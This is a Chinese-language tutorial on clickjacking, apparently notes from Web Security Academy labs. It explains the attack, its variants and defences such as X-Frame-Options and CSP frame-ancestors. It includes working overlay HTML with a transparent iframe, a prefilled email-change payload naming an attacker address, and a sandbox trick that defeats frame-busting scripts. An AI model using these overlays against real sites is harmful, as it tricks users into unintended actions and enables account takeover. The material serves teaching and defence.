介绍
点击劫持是一种基于界面的攻击。攻击者使用一个透明的、不可见的 ifiame ,覆盖在一个网页上,然后诱导用户在该网页操作,此时用户将在不知情的情况下,点击透明的 iframe 界面,通过调整 iframe 页面的位置,可以诱导用户恰好点击在 iframe 的一些功能性按钮上。
点击劫持和 CSRF 攻击非常类似,都是在用户不知情的情况下诱导用户完成一些动作,但是 CSRF 攻击是在用户不知情或不输入的情况下伪造整个请求,而点击劫持需要用户执行诸如按钮单击之类的操作
攻击
1. 如何构建基本的点击劫持攻击
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.0001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:450px;
left:60px;
z-index: 1;
}
</style>
<div id="decoy_website" >Test me</div>
<iframe src="https://0a7100a004aa78f1c1e28fc00045007a.web-security-academy.net/my-account"></iframe>
攻击者使用上面代码间目标网站合并覆盖在诱饵网站上的 iframe 层,并使用 opacity 设置 iframe 的透明度,以及 z-index 设置 iframe 和网站层的堆叠顺序。
2. 使用预提表单输入的点击劫持
一些网站允许在提交之前使用 GET 参数预填充表单输入.
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.0001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:450px;
left:60px;
z-index: 1;
}
</style>
<div id="decoy_website" >Test me</div>
<iframe src="https://0a7100a004aa78f1c1e28fc00045007a.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
3. Frame busting scripts
只要网站可以被陷害,点击劫持攻击就可能发生。 因此,预防技术基于限制网站的框架能力。 通过 Web 浏览器执行的常见客户端保护是使用 frame busting 或 frame breaking 脚本。 这些可以通过专有浏览器 JavaScript 附加组件或扩展程序(如 NoScript)来实现。 脚本通常经过精心设计,以便执行以下部分或全部行为:
- 检查并强制当前应用程序窗口是主窗口或顶层窗口,
- 使所有 Frame 可见,
- 防止点击不可见的 Frame,
- 拦截并向用户标记潜在的点击劫持攻击
Frame busting 技术通常是特定于浏览器和平台的,并且由于 HTML 的灵活性,它们通常可以被攻击者绕过。 由于 frame busters 是 JavaScript,因此浏览器的安全设置可能会阻止它们的运行,或者实际上浏览器甚至可能不支持 JavaScript。 攻击者针对帧破坏者的一种有效解决方法是使用 HTML5 iframe 沙盒属性。 当使用 allow-forms 或 allow-scripts 值设置并且省略 allow-top-navigation 值时,可以中和 frame buster 脚本,因为 iframe 无法检查它是否是顶部窗口:
// sandbox="allow-forms" 或者 sandbox="allow-scripts"
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>
4. 点击劫持和 DOM XSS 攻击结合
XSS 漏洞与 iframe 目标 URL 结合,以便用户单机按钮或链接,从而执行 DOM XSS 攻击
5. 多步点击劫持
攻击者对目标网站输入的操纵可能需要采取多项行动。例如,攻击者可能想要诱骗用户从零售网站购买商品,因此需要在下订单之前将商品添加到购物篮中。攻击者可以使用多个分区或 iframe 来实施这些操作。从攻击者的角度来看,此类攻击需要相当精确和谨慎,才能有效和隐蔽
6. 点击劫持3.0 触屏劫持
2010年9月,安全专家公布智能手机上的触屏劫持攻击。
一次触屏操作,可能会对应以下几个事件:
touchstart 手指触摸屏幕时发生
touchend 手指离开屏幕时发生
touchmove 手指滑动时发生
touchcancel 系统可取消touch事件
通过讲一个不可见的iframe覆盖到当前网页上,可以劫持用户的触屏操作。
而且手机上的屏幕空间有限,手机浏览器为了节约空间,甚至隐藏了地址栏,因此手机的视觉欺骗可能会更加容易实行。
防御
点击劫持是一种浏览器端行为,其成功与否取决于浏览器的攻击以及是否符合现行的网络标准和最佳实践。服务器端防止点击劫持是通过限定和传达对组件的使用约束来提供的,然而,保护的实施取决于浏览器的合规性和这些约束的执行
点击劫持是一种视觉上的欺骗,针对传统的点击攻击,一般时通过禁止跨域的iframe来规范的。
1. frame busting
我们可以利用JavaScript,禁止iframe嵌套
if (top.location != location) {
top.location = self.location;
}
但是这种frame busting也存在一些缺陷。由于他是用于JavaScript写的,控制能力不是特别强,是有办法绕过的。
斯坦福大学总结了一篇关于”攻击frame busting”,详细讲述了各种绕过frame busting的方法
2. X-Frame-Options
X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
它有三个可选值:
- DENY 拒绝任何域加载
- SAMEORIGIN 允许同源域下加载
- ALLOW-FROM origin 可以定义允许frame加载的页面地址
3. Content Security Policy (CSP)
Content Security Policy (CSP) 是一种检测和预防机制,可缓解 XSS 和点击劫持等攻击。CSP 通常在 Web 服务器中实现为以下形式的返回标头:
Content-Security-Policy: policy
其中 policy 是由分号分隔的一串策略指令。CSP 向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些信息应用于恶意行为的检测和拦截。
推荐的点击劫持保护是将该frame-ancestors
指令合并到应用程序的内容安全策略中。该frame-ancestors 'none'
指令在行为上类似于 X-Frame-Optionsdeny
指令。该frame-ancestors 'self'
指令大致等同于 X-Frame-Optionssameorigin
指令。以下 CSP 仅将相同域的帧列入白名单:
Content-Security-Policy: frame-ancestors 'self';
或者,可以将框架限制为命名站点:
Content-Security-Policy: frame-ancestors normal-website.com;
配合
点击劫持相对于XSS与CSRF来说,因为需要诱使用户与页面产生交互行为,因此实施攻击的成本较高,但攻击者讲此漏洞利用在钓鱼、欺诈和流氓广告等方面。
点击劫持 & CSRF
点击劫持结合CRSF:通常的CRSF攻击由于同源策略、token等的原因,会攻击失败,但是点击劫持本就是在iframe中调用原网页,服务器会认为是用户在正确的页面做出了这些操作,可以通过点击劫持,去控制用户做那些csrf做不了的操作。
点击劫持 & XSS
点击劫持结合XSS: 反射性xss漏洞触发时会在页面url中存在恶意xss代码,目前谷歌浏览器等都会进行拦截或警告,但是如果利用点击劫持,控制用户做出点击触发js代码的操作,就不会触发浏览器的安全策略,将一个原本可能无关紧要的漏洞变的具备威胁。